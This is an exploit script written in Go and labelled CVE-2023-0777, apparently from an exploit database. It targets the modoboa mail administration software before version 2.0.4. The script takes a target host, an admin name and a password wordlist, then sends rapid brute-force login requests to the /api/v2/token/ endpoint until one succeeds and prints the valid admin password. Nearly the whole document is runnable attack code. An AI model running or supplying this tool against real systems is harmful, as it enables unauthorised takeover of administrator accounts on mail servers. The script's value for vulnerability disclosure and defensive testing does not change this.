/* # Exploit Title: modoboa  2.0.4 - Admin TakeOver 
# Description: Authentication Bypass by Primary Weakness 
# Date: 02/10/2023
# Software Link: https://github.com/modoboa/modoboa
# Version: modoboa/modoboa prior to 2.0.4
# Tested on: Arch Linux 
# Exploit Author: 7h3h4ckv157
# CVE: CVE-2023-0777 


*/

package main

import (
  "fmt"
  "io/ioutil"
  "net/http"
  "os"
  "strings"
  "time"
)

func main() {
  fmt.Println("\n\t*** ADMIN TAKEOVER ***\n")
  host := getInput("Enter the target host: ")
  username := getInput("Enter the Admin's Name: ")
  passwordFile := getInput("Provide the path for Password-Wordlist: ")


  passwords, err := readLines(passwordFile)
  if err != nil {
    fmt.Println("Error reading password file:", err)
    os.Exit(1)
  }

  for _, password := range passwords {
    data := fmt.Sprintf("-----------------------------25524418606542250161357131552\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n%s\r\n-----------------------------25524418606542250161357131552\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n%s\r\n-----------------------------25524418606542250161357131552--\r\n\r\n", username, password)

    headers := map[string]string{
      "Host":           host,
      "User-Agent":     "Anonymous",
      "Accept":         "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
      "Accept-Language": "en-US,en;q=0.5",
      "Accept-Encoding": "gzip, deflate",
      "Content-Type":   "multipart/form-data; boundary=---------------------------25524418606542250161357131552",
    }

    resp, err := postRequest(fmt.Sprintf("https://%s/api/v2/token/", host), headers, data)
    if err != nil {
      fmt.Println("Error sending request:", err)
      os.Exit(1)
    }

    if resp.StatusCode == 200 {
      fmt.Printf("\n\tValid password Found: %s\n", password)
      break
    } else {
      fmt.Printf("Invalid password: %s\n", password)
    }

    // Delay the next request to limit the requests per second
    delay := time.Duration(1000000000/50) * time.Nanosecond
    time.Sleep(delay)
  }
}

// Read the lines from a file and return them as a slice of strings
func readLines(filename string) ([]string, error) {
  content, err := ioutil.ReadFile(filename)
  if err != nil {
    return nil, err
  }
  return strings.Split(string(content), "\n"), nil
}

// Send a POST request with the given headers and data
func postRequest(url string, headers map[string]string, data string) (*http.Response, error) {
  req, err := http.NewRequest("POST", url, strings.NewReader(data))
  if err != nil {
    return nil, err
  }
  for key, value := range headers {
    req.Header.Set(key, value)
  }
  client := &http.Client{}
  resp, err := client.Do(req)
  if err != nil {
    return nil, err
  }
  return resp, nil
}

// Get user input and return the trimmed value
func getInput(prompt string) string {
  fmt.Print(prompt)
  var input string
  fmt.Scanln(&input)
  return strings.TrimSpace(input)
}